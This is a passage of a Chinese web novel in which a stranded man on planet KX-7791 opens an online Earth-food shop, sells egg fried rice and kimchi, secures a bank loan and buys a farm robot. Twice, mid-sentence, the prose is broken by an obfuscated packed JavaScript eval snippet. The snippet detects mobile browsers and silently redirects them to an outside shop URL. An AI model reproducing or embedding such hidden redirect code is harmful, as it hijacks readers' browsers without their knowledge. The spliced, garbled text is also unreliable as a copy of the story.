那个红色的“未缴费”提示还在。但他不再觉得刺眼了。 因为五十星币已经到账了。 蓝星食铺,随时可以开业。 但夏炎序决定再等三天。 等辣白菜发酵完成。 等第一批星米收获。 等他的菜单上不再只有一道蛋炒饭,而是有两道菜——一道主食,一道配菜。两道菜加在一起,才能让客人感受到地球美食的冰山一角。 他要把开业的第一天,做成一个完整的、让人无法忽视的亮相。 夏炎序关掉终端,走到厨房,打开食物处理器,开始煮今天的晚饭。 还是蛋炒饭。但这一次,他在出锅前多撒了一把星葱碎末,又从墙角的那堆小白菜里掰了几片嫩叶,切成细丝,在炒饭快好的时候一起倒进去翻炒了几下。 白菜丝的清脆和甜味,给蛋炒饭增加了一个新的层次。 他舀了一口送进嘴里,嚼了嚼,点了点头。 “不错。以后可以加个选项——白菜蛋炒饭。” 然后他端着碗,坐到窗前,看着KX-7791的夕阳慢慢沉入地平线。天空从橘红渐变成深紫,两颗卫星升起来了,银河像一条发光的河流横贯天际。 他一边吃一边想,等辣白菜做好了,第一份送给谁? 老周肯定要送。维克多·陈也要送——人家预付了五十星币,还出了快递费要蛋炒饭样品,辣白菜也该给人家尝尝。 然后他想了想,又在心里加了一个人。 他自己。 他也要留一份给自己。 在地球的时候,他从来不会自己做泡菜。想吃就去超市买,一袋几块钱,方便得很。他从来没有想过,有一天他会在一颗距离地球不知道多少光年的荒星上,用一颗星球的原生植物,亲手制作一罐泡菜。 他低头看了看碗里最后几粒星米,把它们扒进嘴里,细细地嚼了嚼。 “值得的,”他对自己说,“一切都值得。” 然后他把碗洗干净,关掉灯,躺到床上。 天花板上那道裂缝还在。两颗卫星的光透过窗户照进来,在地板上画出银白色的光斑。角落里,那盒正在发酵的辣白菜发出极其微弱的、几乎听不到的“咕噜”声——那是乳酸菌在呼吸。 夏炎序闭上眼睛,嘴角带着笑。 三天后,蓝星食铺开业。 菜单上有两道菜。 这只是开始。 7. 开业 三天的时间,在忙碌中过得飞快。 第三天清晨,夏炎序是被一阵细微的“咕噜咕噜”声吵醒的。他迷迷糊糊地从床上坐起来,侧耳倾听——声音从小屋角落里传来,是那盒辣白菜。乳酸菌的发酵进入了活跃期,气泡在密封盒里翻涌,顶得盒盖微微鼓起,一鼓一鼓的,像一只在呼吸的活物。 夏炎序光着脚走过去,蹲在盒子前面,把耳朵凑近了一些。 “咕噜……咕噜噜……” 他笑了。 “活得好好的。”他拍了拍盒盖,像是在安抚一只急躁的宠物。 然后他站起来,走到窗前,一把推开窗户。 KX-7791的清晨阳光涌进来,暖橙色的光线铺满了整个小屋。远处,第二批星米的稻田已经成熟了——橘色的稻穗沉甸甸地弯着腰,比第一批还要饱满,还要密集。他用上了那颗浓缩生长液之后,星米的品质又提升了一个档次,颗粒更大,橘色更深,光泽度也更好。 两亩半的星米田,预计能收一百公斤以上。 他还有那半亩新开垦的地,已经播下了第二批速生小白菜的种子——这次他学聪明了,不再一口气种三十公斤,而是分批种植,分批收获,避免再次陷入“吃不完又卖不掉”的尴尬。 一切准备就绪。 夏炎序深吸一口气,转身走到桌前,打开多功能终端,登录蓝星食铺商户后台。 账户余额:50.2星币。 那个红色的“未缴费”提示还在屏幕右上角闪烁。他的手指悬在“缴纳经营许可费”按钮上方,悬了大概五秒钟,然后按了下去。 “嘀——” 屏幕弹出一行字:“经营许可费50星币已缴纳。您的店铺‘蓝星食铺’现已正式开业。当前状态:可搜索、可交易。” 页面自动刷新。 那个灰色的“不可售”标签消失了。取而代之的,是一个绿色的、发着微光的“营业中”徽章。 夏炎序盯着那个绿色的徽章,眼眶忽然有点热。 他想起了一个多月前,他刚穿越到这颗荒星上的那天。他蹲在小屋门口,抓了一把黑土,手指陷进松软湿润的泥里,闻着那股属于土地的味道,觉得自己中了头奖。 然后他经历了饥饿、疲惫、孤独、绝望。他喝了一个月难以下咽的营养液,吃了一个月酸涩的野果,用一把破铁锹翻了两亩地,用一辆随时会爆炸的拖拉机犁田,用一口自己敲出来的铁锅炒出了第一碗蛋炒饭。 现在,他终于开店了。 不是在地球,不是在某个繁华的星际都市,而是在一颗编号KX-7791的、连名字都没有的荒星上。 夏炎序用力吸了一下鼻子,然后在商品列表里,点击了“星米蛋炒饭”旁边的“上架”按钮。 定价:5星币/份(300克)。 库存:50份。 然后他点开了“蓝星辣白菜”的商品页面,把状态从“预登记”改为“已上架”。 定价:8星币/500克。 库存:20公斤。 两道菜。一个主食,一个配菜。 够了。 他深吸一口气,然后打开了星网的“店铺推广”页面——这是经营许可费里包含的基础功能,新店开业有一次免费的“附近推送”机会,可以向店铺所在星域周围一定范围内的星网用户发送开业通知。 KX-7791的“附近星域”范围有多大?夏炎序看了看地图——大约覆盖了周边五个星系,包括轨道回收平台、一个矿业小行星带、一个联邦边境哨站,以及一个约有三千常住人口的科研前哨站。 总共不到五千人。 但五千人,够了。 夏炎序编辑了一条简短的推送消息: “蓝星食铺今日开业。地球传统烹饪,纯手工制作。菜单:星米蛋炒饭(5星币/份)、蓝星辣白菜(8星币/500克)。本店菜品采用KX-7791自产食材,不添加任何化学合成剂。欢迎品尝。” 他看了一眼这条消息,觉得有点太朴素了。但他没有改——因为这就是事实。他的菜品不需要华丽的辞藻,味道本身会说话。 他按下了“发送”。 然后他关掉终端,系上围裙,开始准备今天的第一批蛋炒饭。 蓝星食铺在星网上的“实体”——如果那能叫实体的话——是一个虚拟空间里的小铺面。 夏炎序在店铺装修的时候,选择了最基础的免费模板:一间大约二十平方米的小房间,白色的墙壁,木纹色的地板,一张简单的餐桌和几把椅子。墙上挂着他手绘的那张地球简笔画——一个蓝色的圆球,上面有几团绿色的不规则形状,旁边歪歪扭扭地写着“地球”两个字。 没有服务员,没有收银台,没有菜单牌。客人进入店铺之后,面前会自动浮现出一个虚拟菜单,上面列着当前可售的菜品。点餐之后,菜品会直接出现在餐桌上。 就是这么简单。就是这么简陋。 但夏炎序不在乎。他在乎的是味道。 推送消息发出之后的大约十五分钟,第一位客人出现了。 那是一个头像看起来很普通的星网用户——用户名是“矿工老李”,头像是矿业联盟的标准徽章,应该是在附近那个小行星带工作的矿工。 【系统提示】矿工老李进入了您的店铺。 夏炎序在后台看到这条提示的时候,心跳漏了一拍。他屏住呼吸,盯着屏幕上的实时数据。 矿工老李在店铺里停留了大约三十秒——大概是看了菜单。然后,他下单了。 【订单】矿工老李购买了:星米蛋炒饭 x1(5星币)。支付方式:星币支付。 夏炎序的手指在“确认订单”按钮上颤抖着按了下去。 【系统】订单已确认。菜品数据已投射。 在虚拟空间的另一端,矿工老李面前的餐桌上,出现了一碗热气腾腾的蛋炒饭。 橘色的米粒粒粒分明,金黄色的蛋白碎点缀其间,翠绿的星葱末散发着浓郁的香气。那碗饭在虚拟空间的灯光下泛着温润的光泽,热腾腾的蒸汽从表面升起,带着一种矿工老李四十年职业生涯中从未闻到过的味道。 那不是营养液那种单一的、化学合成的“风味”。那是一种复杂的、有层次的、让人本能地想要靠近的香气。 矿工老李拿起虚拟勺子,舀了一口,送进嘴里。 然后他愣住了。 在距离KX-7791大约零点三个天文单位的小行星带深处,一个穿着采矿服的秃顶中年男人,坐在满是灰尘的休息舱里,盯着面前的全息屏幕,嘴巴微张,眼神呆滞。 他的舌头在几秒钟之内接收到了海量的信息——温度、质地、口感、味道、余韵——他的大脑在努力处理这些信息,但显然没有成功。因为他能想到的唯一反应,就是又舀了一勺。 然后是第三勺。 然后是第四勺。 他停不下来了。 勺子自动地、机械地、一勺接一勺地往嘴里送,直到碗底一粒米都不剩。他甚至用勺子刮了刮碗底,把那几粒残留的星米也送进了嘴里。 吃完之后,他把勺子放在空碗旁边,盯着那个空碗看了整整十秒钟。 然后他拿起终端,在订单评价页面打下了五个字: “再来一份。” 夏炎序在后台看到这条评价的时候,笑得像个傻子。 “再来一份”不是评价——是对味道的最高赞美。 他立刻确认了第二份订单。 在接下来的一个小时里,又有十几个客人陆续进入了蓝星食铺。大部分是看到推送消息后来尝鲜的——轨道回收平台的工人、矿业小行星带的矿工、边境哨站的士兵、科研前哨站的研究员。 他们中没有人吃过地球菜,没有人知道“蛋炒饭”是什么东西,没有人见过“辣白菜”这种食物。 但他们中的每一个人,在吃完第一口之后,都做出了几乎相同的反应——愣住,然后埋头猛吃,然后盯着空碗发呆。 后台的订单提示音此起彼伏,像一首越来越急促的乐曲。 “嘀——新订单。” “嘀——新订单。” “嘀嘀——新订单。” “嘀嘀嘀——新订单。” 夏炎序不再感受手动确认订单的乐趣,而是调成自动接单确认模式。 夏炎序在厨房里忙得脚不沾地。他提前煮好了三大锅星米饭——大约够五十份蛋炒饭的量。星葱是现切的,每炒一锅之前才切,保证葱香最新鲜。蛋白合成糊也是现调的,调好之后立刻下锅,不能放太久。 他一个人在灶台前站了整整四个小时,炒了四十多锅蛋炒饭。每一锅都要控制火候,每一锅都要掌握翻炒的节奏,每一锅都要在出锅前撒上那把星葱碎末。 他的手臂酸痛得像灌了铅,他的腰僵硬得几乎弯不下去,他的手掌上磨出了新的水泡。 但他没有停下来。 因为每一声“嘀”的背后,都有一个在星际某个角落的人,正在品尝他做的味道。 下午两点左右,第一波高峰期过去了。夏炎序终于有机会喘口气,他端着半杯水坐到桌前,打开后台数据。 营业额:47份蛋炒饭× 5星币 = 235星币。辣白菜暂时还没有人买——可能是因为星际人没见过这种东西,不敢轻易尝试。 235星币。 一天。 他盯着这个数字,大脑一片空白。 235星币。扣除食材成本大约47星币(星米、蛋白粉、油盐、星网平台手续费),净利润188星币。 这意味着一顿饭的时间,他赚到了相当于地球时代一个月的工资。 不,不对——他要交税。联邦对小型商户的税率是百分之十,所以他实际到手大约169星币。 169星币。 还是很多。 夏炎序的嘴角翘得压都压不下去。他喝了一口水,然后打开了星网商户后台的另一个功能——评价分析。 这个功能是经营许可费里包含的增值服务之一:星网会对每一位在店铺消费的客人进行微表情分析(在客人授权的前提下),通过面部肌肉的微小运动来判断客人对菜品的真实感受,然后生成一份详细的评价报告。 夏炎序之前没有太在意这个功能,因为他觉得评价就是评价,好吃就是好吃,不好吃就是不好吃,用不着什么微表情分析。但现在他闲着也是闲着,就点开看了看。 报告生成了。 四十多位客人的数据汇总在一起,形成了一份详细的“菜品反馈报告”。 夏炎序扫了一眼整体数据:正面反馈97%,中性反馈3%,负面反馈0%。 他的嘴角又翘了一下。 然后他开始仔细看细节。 “星米蛋炒饭·口感反馈:米粒口感‘粒粒分明’——89%用户微表情显示满意。‘软硬适中’——92%用户微表情显示满意。‘油脂感’——78%用户微表情显示满意,22%显示‘偏油’。” 夏炎序皱了皱眉。22%觉得偏油?他用的是标准的油量,在地球上绝对不会有人觉得油多。但星际人可能长期喝营养液,肠胃对油脂的接受度比较低。 他在笔记本上记了一笔:油量减少10%,再试试。 继续往下看。 “星米蛋炒饭·味道反馈:‘咸度’——94%用户微表情显示满意。‘葱香’——96%用户微表情显示满意。‘蛋香’——91%用户微表情显示满意。” 咸度没问题,葱香没问题,蛋香也没问题。但有一个数据引起了他的注意—— “‘鲜味’——67%用户微表情显示‘可感知但不强烈’,23%显示‘无明显感知’。” 鲜味。 这是蛋炒饭的一个重要维度。地球上的蛋炒饭,如果用了好的鸡蛋和新鲜的葱花,鲜味是很明显的。但他的蛋白合成粉毕竟不是真正的鸡蛋,味道寡淡,全靠油脂和葱花支撑。鲜味不足,是预料之中的事情。 夏炎序想到了星蕈——那种北半球森林里的伞菌,干燥后有浓郁的鲜味。如果他能弄到星蕈,磨成粉,代替味精或者鸡精,加到蛋炒饭里,鲜味问题就能解决。 但他去不了北半球。至少现在去不了。 他在笔记本上又记了一笔:长期目标——搞到星蕈,制作天然鲜味粉。 然后他翻到了辣白菜的部分。 辣白菜的销售数据是零——没有人买。但是在“未购买原因分析”一栏里,星网的AI根据进入店铺的客人的停留时间和浏览行为,做了一个推测: “辣白菜·未购买原因分析:‘价格偏高’——54%用户。‘不熟悉此类食品’——32%用户。‘外观过于鲜艳,怀疑添加色素’——14%用户。” 夏炎序看着这个报告,陷入了沉思。 价格偏高——8星币500克,对比蛋炒饭5星币一份,确实看起来贵。但辣白菜是发酵食品,制作周期长,而且可以当配菜吃很多次,这个价格其实不贵。问题是星际人没有“配菜”的概念,他们看到的只是一个“比主食还贵的红色不明物体”。 不熟悉此类食品——这个没办法,只能靠时间慢慢培养。等第一批敢尝试的人给出好评之后,其他人自然会跟进。 外观过于鲜艳,怀疑添加色素——这个他倒是可以解决。在商品描述里加一句“星椒天然红色,无任何人工色素添加”,应该能打消一部分人的顾虑。 夏炎序在笔记本上写下了调整方案: 1. 蛋炒饭油量减少10%,明天试试。 2. 辣白菜商品描述增加“天然色素”说明。 3. 辣白菜考虑推出“试吃装”——100克小份,2星币,降低尝试门槛。 4. 长期:搞到星蕈,提升鲜味。 他合上笔记本,靠在椅背上,长长地呼出一口气。 第一天,营业额235星币。四十七个客人。百分之九十七的正面反馈。 这是一个完美的开局。 但他知道,这只是一个开始。四十七个客人,对于一个餐厅来说,少得可怜。他需要更多的客人,更大的曝光,更丰富的菜单。 他需要更多的食材,更多的调料,更好的设备。 他需要去北半球。他需要星蕈,需要星芥,需要星姜。 他需要一辆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420244|200807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞行器。 夏炎序看了一眼账户余额:50.2星币(预付定金)+ 169星币(今日净利润,税后)= 219.2星币。 二百一十九星币。 一辆最便宜的二手飞行器——那种只能在大气层内飞行、速度慢得像乌龟、续航短得令人发指的基础型号——在回收站的价格是……他打开星网搜了搜。 一千五百星币。 他需要一千五百星币。 夏炎序盯着那个数字,深吸了一口气。 一千五百星币。按照今天的盈利速度,大约需要九天。但今天是因为新店开业有推送流量,明天的客人可能会少很多。保守估计,可能需要两到三周。 两到三周。 他等得起。 他站起来,走到角落里那盒辣白菜前面,蹲下来,轻轻打开盒盖。 一股酸辣鲜香的气味扑面而来。红色的酱汁已经渗进了白菜的每一片叶脉,白菜的颜色从翠绿变成了半透明的琥珀色,闻起来酸味适中,辣味浓郁,还有一股淡淡的发酵香气。 夏炎序用手指夹了一小片,放进嘴里。 酸、辣、脆、甜、鲜。 五种味道在舌尖上依次绽放,层次分明,余味悠长。 他的眼眶又热了。 这是他在星际时代吃到的第一口辣白菜。用这颗星球上的小白菜、星椒、星盐草和星葱,用地球的传统工艺,在一颗无人问津的荒星上,做出来的辣白菜。 和地球上的味道不一样。星椒的辣更温和,带着果香;星盐草的咸味里有草木的回甘;星葱的辛香比地球的葱更清冽。这些差异让他的辣白菜有了一种独特的、属于KX-7791的风味。 不是地球的味道。但很好吃。 夏炎序把盒盖重新盖好,站起来,走到窗前。 KX-7791的夕阳正在沉入地平线。天空从橘红渐变成深紫,两颗卫星升起来了,银河像一条发光的河流横贯天际。 远处,第二批星米的稻田在晚风中沙沙作响,橘色的稻穗在暮色中像一片金色的海洋。那半亩新播下的小白菜种子,应该已经发芽了——明天去看看。窗台上的星葱又长高了一截,嫩绿的叶子在风中轻轻摇晃。 夏炎序把手插进口袋里,指尖触到了那袋星米种子——他随身带着的,不知道为什么,就是喜欢揣着它。种子的包装袋已经被磨得起了毛边,但他舍不得扔掉。 他站在窗前,看着这片他亲手开垦的土地,忽然觉得很平静。 不是那种“终于成功了”的狂喜,而是一种更深层的、更持久的踏实感。像是有什么东西在他心里扎下了根,正在缓慢而坚定地生长。 就像窗台上的星葱。 就像田里的星米。 就像角落里那盒正在发酵的辣白菜。 夏炎序转过身,走到桌前,打开多功能终端,在店铺的商品描述里加了一句话: “蓝星食铺的每一道菜,都是用KX-7791的土地、阳光和水,以及一颗叫做‘地球’的行星的古老智慧,亲手制作而成。没有机器,没有AI,只有一个人、一双手、一口锅。希望你喜欢。” 然后他保存了修改,关掉终端,走到厨房,给自己炒了一碗蛋炒饭。 这一次,他少放了百分之十的油。 他尝了一口。 嗯,确实清爽了一些。星际人可能会更喜欢这个版本。 他端着碗坐到窗前,一边吃一边看星星。 两颗卫星已经升到了天顶,一大一小,一明一暗,在夜空中交相辉映。银河的光带从地平线的一端延伸到另一端,星星密集到几乎分不清彼此。 夏炎序忽然想起了什么,放下碗,拿起多功能终端,给老周发了一条消息: “老周叔,今天开业了。卖了四十七份蛋炒饭。谢谢您帮我代销星米,没有那五十星币,我连开店的钱都交不起。” 回复几乎是秒回的。 回收站老周 18:45:四十七份?你小子可以啊。我这边还在帮你宣传呢,结果你自己先把客人拉来了。 回收站老周 18:45:对了,辣白菜什么时候能寄过来?我在你这儿消费了这么多(虽然大部分是到付),也该享受一下VIP待遇了吧? 夏炎序笑了。 “明天寄。第一批刚发酵好,我给您寄一公斤。维克多·陈那边也寄一份。” 回收站老周 18:46:一公斤??你那个定价是8星币500克,一公斤就是16星币。我可付不起。 回收站老周 18:46:开玩笑的。快递费到付,辣白菜的钱我转给你。别跟我客气,你开店是要挣钱的,不是做慈善的。 夏炎序的眼眶又热了一下。 “好。谢谢老周叔。” 回收站老周 18:47:谢什么谢。你那蛋炒饭能不能研究一下怎么在星网上无限量供应?我吃完一份想点第二份的时候,发现你已经卖完了。四十七份,够谁吃的? 夏炎序笑出了声。 “明天多做点。老周叔,您要是想吃,我给您留一份,您随时来随时有。” 回收站老周 18:47:那你给我留的那份给我快递过来,意识投影去吃还是没有实体吃着爽。 ok. 他关掉对话框,把最后几口蛋炒饭扒进嘴里,然后放下碗,走到窗前,最后看了一眼外面的夜色。 KX-7791的夜晚安静得像一幅画。没有城市的灯火,没有车流的噪音,只有风声、虫鸣(是的,这颗星球上有类似昆虫的生物,虽然不多),和远处稻田里星米植株在风中摩擦的沙沙声。 夏炎序把窗户关好,拉上窗帘,躺到床上。 天花板上的那道裂缝还在。两颗卫星的光透过窗帘的缝隙照进来,在地板上画出两道银白色的光斑。角落里,辣白菜的发酵声越来越密集,“咕噜咕噜”的,像一首催眠曲。 他闭上眼睛,嘴角带着笑。 明天,他要早起收星米。要炒更多的蛋炒饭。要卖辣白菜。要研究怎么把油量减少百分之十之后,蛋炒饭的风味还能保持得更好。 他还要想想怎么推广辣白菜——也许可以推出“蛋炒饭+辣白菜”的套餐,定价12星币,比单点便宜1星币。这样既能带动辣白菜的销量,又能让客人体验到“主食+配菜”的完整地球餐概念。 还有,他要开始规划那辆飞行器的事情。一千五百星币,两到三周。等攒够了钱,他要去北半球,去找星蕈、星芥、星姜。他要把这些食材带回来,种在自己的土地上,或者加工成调味料,让蓝星食铺的菜单越来越丰富。 他还要…… 夏炎序的思绪在这里断掉了。 因为他睡着了。 梦里,他站在一片无边无际的橘色稻田中,手里端着一碗热气腾腾的蛋炒饭。远处的天空中,无数艘飞船排成一条光带,向着他的方向飞来。 但这一次,他不是一个人。 他的身后,有一间小小的食铺。白色的墙壁,木纹色的地板,墙上挂着一幅歪歪扭扭的地球简笔画。食铺的门前挂着一块木牌,上面写着四个字: 蓝星食铺。 门开着。 8. 机器人与贷款 开业第一周的成绩单,比夏炎序最乐观的预期还要漂亮。 第一天:47份蛋炒饭,0份辣白菜。第二天:62份蛋炒饭,3份辣白菜(试吃装)。第三天:81份蛋炒饭,11份辣白菜。第四天:103份蛋炒饭,28份辣白菜。第五天:127份蛋炒饭,45份辣白菜。第六天:156份蛋炒饭,72份辣白菜。第七天:188份蛋炒饭,91份辣白菜。 一周累计:764份蛋炒饭,250份辣白菜(试吃装+标准装折算后)。 总营业额:764×5=3820星币,加上辣白菜收入约1200星币,合计5020星币。 扣除食材成本、平台手续费和税收,净利润:约3600星币。 夏炎序盯着终端屏幕上的数字,沉默了很久。 三千六百星币。一周。在地球上,虽然他作为程序员一周的工资也差不多这个数,但他租房费、水电费、物业费、交通费和伙食费,杂七杂八下来,一周的存款有二百块钱都算是他勤俭持家了,而在这里,他吃自己住自己,三千六就是一周的纯存款。 但他没有时间庆祝,因为他面临一个更严重的问题——他忙不过来了。 每天一百八十多份蛋炒饭,意味着他要站在灶台前翻炒超过六个小时。这还不算准备工作:煮米饭(三大锅,每锅要盯着火候)、切星葱(每天要切好几斤)、调蛋白糊、处理辣白菜的订单、回复顾客留言、清洗工具和容器…… 他每天凌晨四点起床,一直忙到晚上十点,中间只有吃饭和上厕所的时间能歇口气。他的手臂酸痛到抬不起来,腰椎间盘发出了危险的信号,手掌上的水泡磨破了又长、长出来又磨破,最后变成了一层厚厚的茧。 第三天的时候,他差点在炒饭的时候睡着——不是夸张,是真的眼皮打架,锅铲差点掉进锅里。他猛地惊醒,后怕地看了看自己的手:如果锅铲掉进热油里,溅起来的油星子能把他烫成重伤。 那天晚上,他躺在床上,盯着天花板上的裂缝,做了一个决定。 他需要帮手。 但帮手从哪里来?KX-7791上只有他一个人。雇人?他可以有多余的住房,可以有工资预算,但是谁会愿意来一颗荒星上打工? 唯一的答案是——机器人。 夏炎序打开星网,搜索“农业机器人”“种植机器人”“多功能农用机器人”。搜索结果铺天盖地地涌出来,价格从几百星币到几十万星币不等。 他设置了筛选条件:价格最低,功能最基础,能胜任播种、收割、搬运等简单农活。 筛选结果里排名第一的,是一个叫做“农夫一型”的基础农业机器人。 价格:2800星币。 功能:自动导航、土壤检测、播种、施肥(仅限液态肥料)、收割、搬运。续航:标准工作状态下可持续工作16小时,太阳能充电时间4小时。附加功能:无。语音交互:无(仅支持基础指令输入)。外观:一个方方正正的金属箱子,底下有四个轮子,顶部有一个可伸缩的机械臂。 夏炎序看了看自己的账户余额:3600星币。 买得起。但买了之后,他的积蓄就去掉了大半。而且他还有别的计划——那辆飞行器要1500星币,他本来打算攒够钱就去北半球找星蕈和星芥。 现在他面临一个选择:买机器人,还是买飞行器? 他坐在桌前,把两种方案的利弊列了一个清单。 方案一:买飞行器。去北半球采集星蕈、星芥、星姜等食材。好处是能丰富菜单,提升菜品鲜味,长远来看收益更大。坏处是他现在连睡觉的时间都没有,哪有功夫去北半球?而且飞行器买回来之后,他还要花时间学习驾驶、规划路线、寻找食材——这些都需要时间,而他现在最缺的就是时间。 方案二:买机器人。让机器人接手农活,解放自己的双手。好处是能大幅提高生产效率,腾出时间专注于烹饪和菜品研发。坏处是飞行器计划要推迟,北半球的食材暂时拿不到。 夏炎序盯着清单看了一会儿,然后把方案一划掉了。 没有机器人,他连现有的订单都应付不过来,更别提什么北半球了。先把眼前的问题解决,再想扩张的事。 他重新打开“农夫一型”的商品页面,在购买按钮上悬了一会儿。 2800星币。这不是一笔小钱。他现在的积蓄是3600星币,买了机器人之后只剩下800星币。万一遇到什么突发情况——比如拖拉机彻底报废,或者浓缩生长液涨价,或者店铺出了什么问题需要赔款——他连缓冲的余地都没有。 他需要更多的资金。 不是“想要”,是“需要”。 夏炎序犹豫了一下,然后打开了星网的“星际银行”页面。 星际银行是联邦最大的金融机构,业务覆盖已开发星域的每一个角落。即使是KX-7791这样的荒星,也有星际银行的虚拟服务窗口——当然,没有实体网点,只有星网上的一个客服AI。 夏炎序点开了“个人贷款”页面,输入了自己的身份信息和信用评级。 信用评级:F级(荒星开发者,无信用记录)。 他苦笑了一下。F级,最低的信用评级,没有之一。银行会把钱借给一个F级的客户吗? 他试着提交了一笔贷款申请:金额5000星币,期限6个月,用途:购买农业设备。 提交之后,系统显示“审核中,预计等待时间:15分钟”。 夏炎序靠在椅背上,盯着屏幕上的倒计时,心跳有点快。 十五分钟。这是他穿越到星际以来最漫长的十五分钟。他试着不去想那些乱七八糟的事情,但大脑完全不听指挥——一会儿想到如果贷款被拒怎么办,一会儿想到如果贷款批了但利率高得吓人怎么办,一会儿又想到自己是不是太冒进了,才开业一周就敢借钱…… 就在他快要被自己的胡思乱想逼疯的时候,屏幕弹出了一条消息。 “您的贷款申请已通过初审。请准备以下材料进行视频面审:1. 身份证明文件;2. 荒星开发许可证;3. 近30天的经营流水;4. 贷款用途说明。面审将由人工审核员进行,预计等待时间:5-10分钟。” 视频面审? 夏炎序愣了一下。他以为全程都是AI自动审核,没想到还有人工环节。他赶紧把需要的材料准备好——身份证明文件就是原主留下的那张联邦身份证(上面的照片和现在的他只有五六分像,但星际时代的生物识别靠的是基因信息,长相不重要);荒星开发许可证也在原主的文件包里;近30天的经营流水——他只有7天的数据,但系统要求30天,他只能把7天的数据交上去,然后在备注里说明“店铺开业仅一周”。 贷款用途说明——他写了一段话:“购买农夫一型农业机器人,用于KX-7791星球的农作物种植与收割,以提高生产效率,扩大经营规模。” 大约八分钟后,视频面审的邀请弹了出来。 夏炎序深吸一口气,整理了一下衣领——虽然他的衣领从来就没有整齐过——然后按下了“接听”。 屏幕上的画面切换到一个简洁的办公室背景,一个看起来三十多岁的女人坐在桌前,穿着星际银行的统一制服,表情严肃但不冷漠。她的头发扎成一个低马尾,鼻梁上架着一副细框眼镜——当然,星际时代的眼镜不是用来矫正视力的,大概率是某种增强现实设备。 “你好,夏炎序先生。我是星际银行的小额贷款审核员,编号LN-4472,你可以叫我林审核员。” “你好,林审核员。”夏炎序努力让自己的声音听起来镇定一些。 林审核员低头看了一眼面前的屏幕,然后抬起头,表情里带着一丝不易察觉的困惑。 “夏先生,我注意到你的信用评级是F级——这是荒星开发者的标准评级。你的店铺开业时间只有一周,经营流水数据非常有限。在这种情况下,你申请5000星币的贷款,能告诉我你的还款计划吗?” 夏炎序想了想,说:“我的店铺目前日均营业额约700星币,净利润约500星币。按照这个速度,5000星币的贷款,我可以在10到15天内还清。” 林审核员的表情没有变化,但她微微挑了一下眉毛。 “日均净利润500星币?”她低头看了一眼数据,“你的店铺只有两道菜,开业才一周,就能达到这个数字?” “是的。”夏炎序说,“而且我的订单量还在增长。第一周每天增加约20-30份,按照这个趋势,下周的日均营业额可能会突破1000星币。” 林审核员沉默了几秒,然后说:“夏先生,我需要诚实地告诉你,以你目前的信用评级和经营时长,按照标准流程,你的贷款申请应该被拒绝。” 夏炎序的心沉了一下。 “但是——”林审核员话锋一转,“你的经营数据确实很亮眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420245|200807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。一周之内从47份增长到188份,这个增速在星网餐饮类店铺中属于前1%的水平。而且你的顾客评价——微表情分析报告的正面反馈率是97%——这个数据也非常出色。” 她从屏幕上抬起头,看着夏炎序。 “所以我愿意给你一个机会。但是,我需要一些额外的保障。” “什么保障?” “第一,贷款金额从5000星币下调到3000星币。这个数额更符合你目前的经营规模。第二,贷款期限缩短到3个月,但允许提前还款,无违约金。第三,我需要你提供一份详细的经营计划——未来三个月的菜品研发计划、产能扩张计划、以及风险应对方案。” 她顿了顿,补充道:“另外,我建议你申请开通星际银行的‘小微商户绿色通道’。这是专门给小型餐饮、零售、服务类商户设计的贷款产品,利率比普通个人贷款低30%,而且审核标准更侧重于经营数据而非信用评级。以你目前的流水,应该能通过。” 夏炎序愣了一下,然后赶紧点头:“好的,我申请。” “那我现在帮你转接。”林审核员的手指在面前的虚拟键盘上敲了几下,“小微商户绿色通道的审核员会在一小时内联系你。夏先生,祝你生意兴隆。” 屏幕上的画面切回了主界面。 夏炎序靠在椅背上,长长地呼出一口气。 没被拒绝。虽然金额从5000降到了3000,但这已经比他预想的好太多了。而且那个“小微商户绿色通道”——利率低30%,审核标准更侧重经营数据——简直就是为他量身定做的。 他等了一个小时零七分钟,绿色通道的审核员联系了他。这一次的审核员是个年轻男人,看起来比林审核员随和很多,他看了夏炎序的经营流水之后,直接说了一句:“你这个数据,在我们这个通道里能排进前五。贷款批了,3000星币,年利率4.5%,3个月期限。钱会在24小时内到账。” 4.5%的年利率。夏炎序在地球上没见过这么低的贷款利率——房贷都要5%以上。 “确认。”他说。 “贷款已发放。祝你生意兴隆。” 屏幕上的对话窗口关闭了。夏炎序回到账户页面,余额还是3600星币——贷款还没到账。他关掉终端,站起来走到窗前,推开窗户。 KX-7791的下午阳光照进来,暖橙色的光线铺满了整个小屋。远处,第三批星米的秧苗已经从黑土地里冒出头来,嫩绿的叶片在阳光下闪闪发亮。那半亩小白菜也长势喜人,再过两天就能收获了。 他深吸一口气,空气里带着泥土和野草的清冽气息。 贷款批了。机器人能买了。他不用再每天工作十八个小时了。 夏炎序转过身,重新打开终端,找到“农夫一型”的商品页面,点击了“立即购买”。 商品价格:2800星币。运费:从最近的中转仓库到KX-7791,需要经过两次空间跳跃,运费350星币。总计3150星币。 他看了一眼账户余额:3600星币。贷款还没到账,但这笔钱够付了。 他点了“确认购买”。 “嘀——购买成功。预计送达时间:3-5个标准日。” 夏炎序盯着这行字,嘴角翘了起来。 三天后,他就有一个帮手了。虽然只是一个方方正正的金属箱子,没有语音交互,没有智能对话功能,只会执行基础的指令——但它能播种、能收割、能搬运。它能让他从繁重的农活中解放出来,把时间和精力集中在灶台前。 他关掉终端,站起来,走向厨房。 